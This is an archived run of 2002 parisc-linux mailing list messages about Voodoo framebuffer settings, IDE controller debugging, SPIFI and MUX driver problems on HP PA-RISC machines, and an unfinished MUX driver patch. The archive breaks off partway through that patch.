Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Re: [PATCH] Voodoo framebuffer on PARISC
Date: 15 Sep 2002 22:31:54 -0400
Lines: 69
Approved: news@gmane.org
Message-ID: <1032143514.31738.289.camel@archimedes.localnetsolutions.com>
References: <000001c25d16$80be8b30$0100a8c0@PLUTO>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature";
	boundary="=-Y7wnlyzpNsPLiwMOjziS"
X-Trace: ger.gmane.org 1416621720 13981 80.91.229.3 (22 Nov 2014 02:02:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:00 +0000 (UTC)
Cc: palinux <parisc-linux@lists.parisc-linux.org>
To: Tobias Giesen <tobias_subscriber@tgtools.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Sep 15 20:32:09 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from blount.mail.mindspring.net (blount.mail.mindspring.net [207.69.200.226])
	by dsl2.external.hp.com (Postfix) with ESMTP id 923D74829
	for <parisc-linux@lists.parisc-linux.org>; Sun, 15 Sep 2002 20:32:09 -0600 (MDT)
Original-Received: from user-119b1cf.biz.mindspring.com ([66.149.133.143] helo=castle.localnetsolutions.com)
	by blount.mail.mindspring.net with esmtp (Exim 3.33 #1)
	id 17qlg8-0008Dv-00; Sun, 15 Sep 2002 22:32:00 -0400
Original-Received: from archimedes.localnetsolutions.com (archimedes.localnetsolutions.com [192.168.0.2])
	by castle.localnetsolutions.com (8.11.6/linuxconf) with ESMTP id g8G2WEB15927;
	Sun, 15 Sep 2002 22:32:14 -0400
In-Reply-To: <000001c25d16$80be8b30$0100a8c0@PLUTO>
X-Mailer: Ximian Evolution 1.0.8 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16136

--=-Y7wnlyzpNsPLiwMOjziS
Content-Type: text/plain
Content-Transfer-Encoding: quoted-printable

As I don't have the Voodoo card, I didn't keep the patch, but, are there
settings in the sstfb patch that can be used to define the default
frequencies?  The only other alternative will be to get a very high
frequency monitor that supports 1280x1024@72Hz. My HP A4033A monitor has
no problem with that. But my Digiview croaked on it on my SGI Octane. So
now I have to switch out between the two boxes (Octane and C160) with
the A4033A. I haven't tried my Panasonic E21. It supports 1600x1280@60
so it should handle it OK.

On Sun, 2002-09-15 at 20:17, Tobias Giesen wrote:
> Hello,
>=20
> I think I need some more help with this. Here's what I did:
>=20
> - grabbed fresh 2.4.19-pa17 sources
> - applied sstfb.c and .h patch
> - set kernel options to include sst1
> - compiled & installed new kernel
>=20
> The new kernel seems to try to activate a Voodoo console shortly after
> the "If this is the last message you see ..." warning. However, my
> monitor says the frequencies are out of range and switches itself off.
> The main sti console is then dead also.
>=20
> Any ideas? Maybe could I try a precompiled kernel with Voodoo support?
>=20
> Thanks.
>=20
> Best wishes,
> Tobias Giesen
>=20
>=20
>=20
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--=20
James P. Kinney III   \Changing the mobile computing world/
President and CEO      \          one Linux user         /
Local Net Solutions,LLC \           at a time.          /
770-493-8244             \.___________________________./

GPG ID: 829C6CA7 James P. Kinney III (M.S. Physics)
<jkinney@localnetsolutions.com>
Fingerprint =3D 3C9E 6366 54FC A3FE BA4D 0659 6190 ADC3 829C 6CA7=20



--=-Y7wnlyzpNsPLiwMOjziS
Content-Type: application/pgp-signature; name=signature.asc
Content-Description: This is a digitally signed message part

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: For info see http://www.gnupg.org

iD8DBQA9hUKZYZCtw4KcbKcRAkEDAJwNXVoGaQi99aHhFn9Wa7sACgWzUACeI9qK
FRX2osoV4k/uVbS8ZOImVXk=
=ctY6
-----END PGP SIGNATURE-----

--=-Y7wnlyzpNsPLiwMOjziS--



From - Thu Nov 08 21:24:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: ide controller
Date: Sun, 15 Sep 2002 22:30:04 -0600
Lines: 36
Approved: news@gmane.org
Message-ID: <20020916043004.B27754829@dsl2.external.hp.com>
References: <87k7lm3mt8.fsf@appserv.sinnhq.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621720 13987 80.91.229.3 (22 Nov 2014 02:02:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:00 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Moritz Sinn <moritz@freesources.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Sep 15 22:30:05 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id B27754829; Sun, 15 Sep 2002 22:30:04 -0600 (MDT)
In-Reply-To: Message from Moritz Sinn <moritz@freesources.org> 
   of "15 Sep 2002 22:33:39 -0000." <87k7lm3mt8.fsf@appserv.sinnhq.de> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16137

Moritz Sinn wrote:
> 
> hi,
> 
> i've got an promise PDC20268 ide controller, which i would like to use
> in my hp c360 workstation. i'm using kernel 2.4.18 (couldn't compile
> 2.4.19 and 2.4.20-pre7).
> if i compile with "Generic PCI bus-master DMA support", the kernel
> crashes when i insmod the 'ide-mod' module. it doesn't print useable
> error messages, it just doesn't react anymore.

Are you using the "apt-get source kernel-image-2.4.18-hppa"
or from kernel.org?

If the latter, that won't work.

> when i compile without dma support, i can insmod the 'ide-mod' and
> 'ide-disk' module, but it crashes when i want to insmod the
> 'ide-probe-mod' module.
> 
> would be great if someone could help me.

1) see cvs.parisc-linux.org to get the latest bits
   (or ftp.parisc-linux.org/cvs/)

2) define the following to 1 in drivers/ide/pdc202xx.c:

#define PDC202XX_DEBUG_DRIVE_INFO               0
#define PDC202XX_DECODE_REGISTER_INFO           0

  and rebuild the module with that.

3) post the console log and "ser pim" output at PDC prompt.

grant


From - Thu Nov 08 21:24:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [PATCH] Voodoo framebuffer on PARISC
Date: Mon, 16 Sep 2002 08:29:35 +0200
Lines: 42
Approved: news@gmane.org
Message-ID: <200209160829.35216.deller@gmx.de>
References: <000001c25d16$80be8b30$0100a8c0@PLUTO>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621721 13988 80.91.229.3 (22 Nov 2014 02:02:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:01 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>
To: "Tobias Giesen" <tobias_subscriber@tgtools.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep 16 00:30:17 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id 105A64829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 16 Sep 2002 00:30:16 -0600 (MDT)
Original-Received: (qmail 13982 invoked by uid 0); 16 Sep 2002 06:30:13 -0000
Original-Received: from pd90403b4.dip.t-dialin.net (HELO P100.helgenet.de) (217.4.3.180)
  by mail.gmx.net (mp020-rz3) with SMTP; 16 Sep 2002 06:30:13 -0000
User-Agent: KMail/1.4.7
In-Reply-To: <000001c25d16$80be8b30$0100a8c0@PLUTO>
Content-Disposition: inline
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16138

Hi Tobias,

you should use a standard PC mulitfrequency monitor, as most
HP monitors are fixed frequency and won't work.

Furthermore you might search in sstfb.c for:
/*
  Default video mode .
  0 800x600@60  took from glide
  1 640x480@75  took from glide
  2 1024x768@76 std fb.mode
  3 640x480@60  glide default */
#define DEFAULT_MODE 1

and try to change the DEFAULT_MODE to 2 or 0.

Greetings,
Helge

On Monday 16 September 2002 02:17, Tobias Giesen wrote:
> Hello,
>
> I think I need some more help with this. Here's what I did:
>
> - grabbed fresh 2.4.19-pa17 sources
> - applied sstfb.c and .h patch
> - set kernel options to include sst1
> - compiled & installed new kernel
>
> The new kernel seems to try to activate a Voodoo console shortly after
> the "If this is the last message you see ..." warning. However, my
> monitor says the frequencies are out of range and switches itself off.
> The main sti console is then dead also.
>
> Any ideas? Maybe could I try a precompiled kernel with Voodoo support?
>
> Thanks.
>
> Best wishes,
> Tobias Giesen



From - Thu Nov 08 21:24:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@gmx.at>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] SPIFI hardware access
Date: Mon, 16 Sep 2002 23:37:17 +0200
Organization: private
Lines: 25
Approved: news@gmane.org
Message-ID: <3D864F0D.32223AC9@gmx.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621721 13992 80.91.229.3 (22 Nov 2014 02:02:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:01 +0000 (UTC)
Cc: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: Ryan Bradetich <rbradetich@uswest.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep 16 15:37:24 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from viefep16-int.chello.at (viefep16-int.chello.at [213.46.255.17])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2EE234829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 16 Sep 2002 15:37:23 -0600 (MDT)
Original-Received: from gmx.at ([62.178.92.247]) by viefep16-int.chello.at
          (InterMail vM.5.01.05.09 201-253-122-126-109-20020611) with ESMTP
          id <20020916213721.ECQ20514.viefep16-int.chello.at@gmx.at>;
          Mon, 16 Sep 2002 23:37:21 +0200
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.4.6 i686)
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16139

Hello Ryan
,

I think we have a much more basic problem, I thought
up to now. I think all bus accesses to the device 
are unsuccessfull.

Independent of the word position, I read back a 
0x0000ff00. You see this as a counter value, and
even the regs->spstat deliveres 0x0000ff00 and via
the bit operations the ID=7 results, and I thought
at the beginning, this wa correctly read out .... !

What are doing we wrong in the bus access or device
access. The MUX port can be accessed, what's the
difference here ?

Christoph


-- 
-------------------------------------------------------
private:	christoph.plattner@gmx.at
company:	christoph.plattner@alcatel.at


From - Thu Nov 08 21:24:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: willy.schriemer@philips.com
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Willy Schriemer/NYM/SC/PHILIPS is out of the office.
Date: Tue, 17 Sep 2002 00:30:06 +0200
Lines: 5
Approved: news@gmane.org
Message-ID: <OF3A734998.705BC485-ONC1256C36.007B9B48-C1256C36.007B9B49@diamond.philips.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621722 14004 80.91.229.3 (22 Nov 2014 02:02:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:02 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep 16 16:31:17 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from gw-nl4.philips.com (gw-nl4.philips.com [212.153.190.6])
	by dsl2.external.hp.com (Postfix) with ESMTP id 19E084829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 16 Sep 2002 16:31:17 -0600 (MDT)
Original-Received: from smtpscan-nl1.philips.com (smtpscan-nl1.philips.com [130.139.36.21])
	by gw-nl4.philips.com (Postfix) with ESMTP id A5E7E452A1
	for <parisc-linux@lists.parisc-linux.org>; Tue, 17 Sep 2002 00:31:14 +0200 (MET DST)
Original-Received: from smtprelay-nl1.philips.com (localhost [127.0.0.1]) 
	by smtpscan-nl1.philips.com (8.9.3/8.8.5-1.2.2m-19990317) with ESMTP id AAA06833
	for <parisc-linux@lists.parisc-linux.org>; Tue, 17 Sep 2002 00:31:13 +0200 (MET DST)
Original-Received: from ehv001soh.diamond.philips.com (e2soh01.diamond.philips.com [130.139.52.13]) 
	by smtprelay-nl1.philips.com (8.9.3/8.8.5-1.2.2m-19990317) with ESMTP id AAA00082
	for <parisc-linux@lists.parisc-linux.org>; Tue, 17 Sep 2002 00:31:13 +0200 (MET DST)
X-MIMETrack: Serialize by Router on ehv001soh/H/SERVER/PHILIPS(Release 5.0.9a |January 7, 2002) at
 17/09/2002 00:29:38
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16140

I will be out of the office starting  09/16/2002 and will not return until 09/23/2002.

Thank you for your message. I will reply to it when I return. For urgent messages please contact Jos de Jong at +31 24 353 2991.



From - Thu Nov 08 21:24:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Derek Engelhaupt <derekengelhaupt@rocketmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] HP-PB
Date: Mon, 16 Sep 2002 15:32:09 -0700 (PDT)
Lines: 15
Approved: news@gmane.org
Message-ID: <20020916223209.26797.qmail@web12501.mail.yahoo.com>
References: <3D864F0D.32223AC9@gmx.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621722 14028 80.91.229.3 (22 Nov 2014 02:02:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:02 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep 16 16:32:11 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from web12501.mail.yahoo.com (web12501.mail.yahoo.com [216.136.173.193])
	by dsl2.external.hp.com (Postfix) with SMTP id 98E4A482E
	for <parisc-linux@lists.parisc-linux.org>; Mon, 16 Sep 2002 16:32:11 -0600 (MDT)
Original-Received: from [156.153.255.134] by web12501.mail.yahoo.com via HTTP; Mon, 16 Sep 2002 15:32:09 PDT
In-Reply-To: <3D864F0D.32223AC9@gmx.at>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16141

Hey all,

I know that there is a quest for information about the HP-PB interfaces
in order to get them functional in Linux.  So I was curious about what
kind of information you guys needed and I'm offering to try and find
that information.  Not sure why I feel like I can find the information
where others have failed, but I'd like to try so fire away...

derek

__________________________________________________
Do you Yahoo!?
Yahoo! News - Today's headlines
http://news.yahoo.com


From - Thu Nov 08 21:24:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rod Smart <snaketails@optushome.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Serial Terminal on C-180 system
Date: Mon, 16 Sep 2002 23:00:42 +0000
Lines: 10
Approved: news@gmane.org
Message-ID: <3D86629A.F8CB5564@optushome.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621722 14031 80.91.229.3 (22 Nov 2014 02:02:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:02 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep 16 17:01:19 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from jumpgate.home.net.au (c16844.fernt1.vic.optusnet.com.au [210.49.203.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id E72F04829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 16 Sep 2002 17:01:18 -0600 (MDT)
Original-Received: from localhost (jumpgate.home.net.au [127.0.0.1])
	by jumpgate.home.net.au (Postfix) with ESMTP id 8A9A462E53
	for <parisc-linux@lists.parisc-linux.org>; Tue, 17 Sep 2002 09:01:14 +1000 (EST)
Original-Received: from optushome.com.au (shadow.home.net.au [192.168.3.130])
	by jumpgate.home.net.au (Postfix) with ESMTP id 1705462E52
	for <parisc-linux@lists.parisc-linux.org>; Tue, 17 Sep 2002 09:00:18 +1000 (EST)
X-Mailer: Mozilla 4.79 [en] (Windows NT 5.0; U)
X-Accept-Language: en,Thai
X-Virus-Scanned: by AMaViS perl-11
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16142

    Hello again.

    Last time I was here I was asking about how to get the C-180 to use
Serial Terminal, I havn't been able to get it talking to the other Linux
or wincrash system, so I would like to transfer it back to Video mode
(turn off Serial Terminal.

    How do I do this when I cannot see the screen ?



From - Thu Nov 08 21:24:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@gmx.at>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] New status MUX on E55
Date: Tue, 17 Sep 2002 01:09:45 +0200
Organization: private
Lines: 251
Approved: news@gmane.org
Message-ID: <3D8664B9.FFA6FD3A@gmx.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------337BA726D358AC462F45C980"
X-Trace: ger.gmane.org 1416621723 14034 80.91.229.3 (22 Nov 2014 02:02:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:03 +0000 (UTC)
Cc: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: Ryan Bradetich <rbradetich@uswest.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep 16 17:09:57 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from viefep15-int.chello.at (viefep15-int.chello.at [213.46.255.19])
	by dsl2.external.hp.com (Postfix) with ESMTP id 803694829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 16 Sep 2002 17:09:51 -0600 (MDT)
Original-Received: from gmx.at ([62.178.92.247]) by viefep15-int.chello.at
          (InterMail vM.5.01.05.09 201-253-122-126-109-20020611) with ESMTP
          id <20020916230948.BTMM1094.viefep15-int.chello.at@gmx.at>;
          Tue, 17 Sep 2002 01:09:48 +0200
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.4.6 i686)
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16143

This is a multi-part message in MIME format.
--------------337BA726D358AC462F45C980
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit

Hello Ryan,

I added the handling of the multi ports. So for example the
poll routine walks to all 8 devices (if opened), the
handling of the refcount is now per line, etc....

I give you the patch to see my changes, ignore my debug
print outs, and ignore the fact, that the polling routine
is running on 1.5 seconds !

We already have the state, that the HP machine completely
dies. Even no interrupts are working, no `ping' is answered,
etc...

I had seen an interesting effect:

mux_drv_poll: 0
mux_drv_poll:    done
mux_write: <hallo
>(5) to 0xfff788bc
68 61 6c 6c 6f 
mux_write:    before mux_flush_buffer()
mux_drv_poll: 0
mux_drv_poll: 1
mux_drv_poll:    done
mux_write: <HIJKLMNOPQRSTUVWXYZ>(1) to 0xfff788bc
e0 
mux_write:    before mux_flush_buffer()

A `echo hallo > /dev/ttyB1' has produces this log.
After the mux_write() called with the string, the mux_write
is called a second time sending a 'e0' ???????
The first mux_write() is not finished (as no
`mux_write:   done' is displayed), the second blocks
the machine completely on the max_flush_buffer() call.
So the first writer block there, waiting in the endless
loop ! The second blocks up the whole machine ...

Further, NO OUTPUT were seen on the serial line of port
1 (not 0 !). Is there something, which is forgotten for
the initialization ? Perhaps something done for port 0
by the PDC code ?

Is this a common problem, as on the SPIFI, that there is
a general wrong access method to those devices ?

Bye
Christoph



-- 
-------------------------------------------------------
private:	christoph.plattner@gmx.at
company:	christoph.plattner@alcatel.at
--------------337BA726D358AC462F45C980
Content-Type: text/plain; charset=us-ascii;
 name="mux.patch"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="mux.patch"

Index: drivers/char/mux.c
===================================================================
RCS file: /var/cvs/linux/drivers/char/mux.c,v
retrieving revision 1.3
diff -u -r1.3 mux.c
--- drivers/char/mux.c	11 Sep 2002 07:05:56 -0000	1.3
+++ drivers/char/mux.c	16 Sep 2002 22:59:48 -0000
@@ -56,7 +56,7 @@
 #define MUX_MIN_FREE_SIZE 32
 
 #define MUX_FIFO_DRAIN_DELAY 1
-#define MUX_POLL_DELAY (30 * HZ / 1000)
+#define MUX_POLL_DELAY (1500 * HZ / 1000)
 
 #define IO_COMMAND_REG_OFFSET 0x30
 #define IO_STATUS_REG_OFFSET 0x34
@@ -69,12 +69,13 @@
 #define MUX_STATUS(status) ((status & 0xF000) == 0x8000)
 #define MUX_BREAK(status) ((status & 0xF000) == 0x2000)
 
-static int mux_drv_refcount; /* = 0 */
+#define NR_PORTS 8
+static int global_mux_drv_refcount; /* = 0 */
+static int mux_drv_refcount [NR_PORTS]; /* = 0 */
 static struct tty_driver mux_drv_driver;
-static struct async_struct *mux_drv_info;
+static struct async_struct *mux_drv_info [NR_PORTS];
 static struct timer_list mux_drv_timer;
 
-#define NR_PORTS 1
 static struct tty_struct *mux_drv_table[NR_PORTS];
 static struct termios *mux_drv_termios[NR_PORTS];
 static struct termios *mux_drv_termios_locked[NR_PORTS];
@@ -127,6 +128,13 @@
 			break_pressed = 0;
 		}
 #endif
+		if ((data & 0xff) == 0x1c)
+		{
+                    extern void machine_restart (char *);
+                    
